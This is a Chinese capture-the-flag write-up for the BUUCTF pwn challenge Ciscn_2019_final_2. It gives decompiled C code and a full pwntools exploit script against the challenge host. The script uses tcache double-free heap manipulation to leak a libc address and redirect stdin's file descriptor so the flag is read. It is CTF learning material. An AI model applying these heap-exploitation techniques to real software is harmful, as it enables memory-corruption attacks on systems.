------------------------
1: add an inode
2: remove an inode
3: show an inode
4: leave message and exit.
------------------------
which command?
>
fd = open("flag", 0);
if ( fd == -1 )
{
puts("no such file :flag");
exit(-1);
}
dup2(fd, 666);
int_pt = malloc(0x20uLL);
short_pt = malloc(0x10uLL);
bool = 1;
v0 = int_pt;
*v0 = get_atoi();
v1 = get_atoi();
*(_WORD *)short_pt = v1;
*((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
*((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
if ( bool )
free(int_pt);
bool = 0;
free(short_pt);
bool = 0;
v0 = show_time--;
printf("your int type inode number :%d\n", *(unsigned int *)int_pt);
printf("your short type inode number :%d\n", (unsigned int)*(signed __int16 *)short_pt);
__isoc99_scanf("%99s", &v0);
printf("your message :%s we have received...\n", &v0);
触发 leave 函数,打印 flag 。
from pwn_debug import *
pdbg = pwn_debug('ciscn_final_2')
pdbg.debug('2.27')
pdbg.remote('node3.buuoj.cn',25742)
p = pdbg.run('remote')
elf = ELF('./ciscn_final_2')
libc = ELF('./libc/libc-2.27.so')
def add(add_type, add_num):
p.sendlineafter('which command?\n> ', '1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
p.sendafter('your inode number:', str(add_num))
def remove(remove_type):
p.sendlineafter('which command?\n> ', '2')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))
def show(show_type):
p.sendlineafter('which command?\n> ', '3')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
if show_type == 1:
p.recvuntil('your int type inode number :')
elif show_type == 2:
p.recvuntil('your short type inode number :')
return int(p.recvuntil('\n', drop=True))
add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)
add(1,0x30)
remove(2)
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)
for i in range(0, 7):
remove(1)
add(2, 0x20)
remove(1)
addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70
add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30)
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)
p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')
p.interactive()
【BUUCTF】Pwn--Ciscn_2019_final_2
感谢 binLep 师傅的指点!
原文:https://www.cnblogs.com/luoleqi/p/12409143.html